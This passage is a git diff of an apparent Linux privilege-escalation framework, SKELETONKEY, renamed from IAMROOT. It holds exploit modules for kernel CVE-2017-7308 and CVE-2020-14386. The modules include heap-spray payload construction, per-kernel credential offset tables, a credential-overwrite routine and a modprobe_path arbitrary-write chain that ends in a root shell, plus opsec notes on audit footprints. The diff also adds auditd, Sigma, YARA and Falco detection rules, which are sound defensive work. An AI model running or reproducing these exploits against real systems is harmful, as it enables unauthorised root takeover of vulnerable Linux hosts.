return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||
WEXITSTATUS(status));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
|
||||
* underflow are Linux-only kernel surface. Stub out cleanly so the
|
||||
* module still registers and `--list` / `--detect-rules` work on
|
||||
* macOS/BSD dev boxes — and so the top-level `make` actually completes
|
||||
* there. */
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet2: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet2_auditd[] =
|
||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
||||
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
const struct iamroot_module af_packet2_module = {
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||
@@ -721,12 +734,14 @@ const struct iamroot_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet2(void)
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
{
|
||||
iamroot_register(&af_packet2_module);
|
||||
skeletonkey_register(&af_packet2_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet2_module;
|
||||
|
||||
#endif
|
||||
@@ -16,14 +16,14 @@ Original advisory + writeup:
|
||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||
finisher (64 child workers polling geteuid). Offset table covers
|
||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||
`IAMROOT_AFPACKET_OFFSETS` env var.
|
||||
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||
|
||||
`--full-chain` engages the shared modprobe_path finisher with
|
||||
stride-seeded sk_buff data-pointer overwrite.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
||||
#define AF_PACKET_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet_module;
|
||||
|
||||
#endif
|
||||
+170
-92
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
@@ -15,9 +15,9 @@
|
||||
*
|
||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
||||
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||
* overwrite didn't take on this exact kernel.
|
||||
@@ -32,7 +32,7 @@
|
||||
* staged for the requested kaddr/buf and relies on the shared
|
||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||
* actually overwritten. On kernels where the operator has supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||
* the trigger fires heuristically and the sentinel acts as the
|
||||
* ground-truth signal.
|
||||
@@ -58,19 +58,25 @@
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
@@ -106,54 +112,45 @@ static const struct kernel_range af_packet_range = {
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
@@ -173,7 +170,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
@@ -200,12 +197,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
||||
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
@@ -215,7 +212,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
||||
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
@@ -264,7 +261,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
||||
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
@@ -338,7 +335,7 @@ static int fire_overflow_and_spray(void)
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
||||
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
@@ -363,7 +360,7 @@ static int fire_overflow_and_spray(void)
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
||||
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
@@ -474,7 +471,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
* spray payload so its bytes carry the requested target kaddr
|
||||
* (the prompt's "controllable overwrite value aimed at
|
||||
* modprobe_path"). Operator-supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* within struct sk_buff for this kernel build) lets us aim
|
||||
* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
||||
@@ -491,7 +488,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct iamroot_ctx *ctx;
|
||||
const struct skeletonkey_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
@@ -517,13 +514,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
||||
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
||||
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
@@ -540,16 +537,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level iamroot process. */
|
||||
* eventual execve() replaces the top-level skeletonkey process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
@@ -648,7 +645,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
||||
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
@@ -703,41 +700,47 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
iamroot_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
if (!resolve_offsets(&off, v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
@@ -753,15 +756,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("af_packet");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
(void)skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
@@ -769,7 +772,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
@@ -779,7 +782,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -800,7 +803,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the iamroot level: we proved the primitive
|
||||
* is symbolic at the skeletonkey level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
_exit(0);
|
||||
}
|
||||
@@ -815,9 +818,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
@@ -831,40 +834,113 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
||||
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return IAMROOT_OK; /* effectively patched */
|
||||
return SKELETONKEY_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||
* Stub out cleanly so the module still registers and `--list` /
|
||||
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||
* `make` actually completes there. */
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
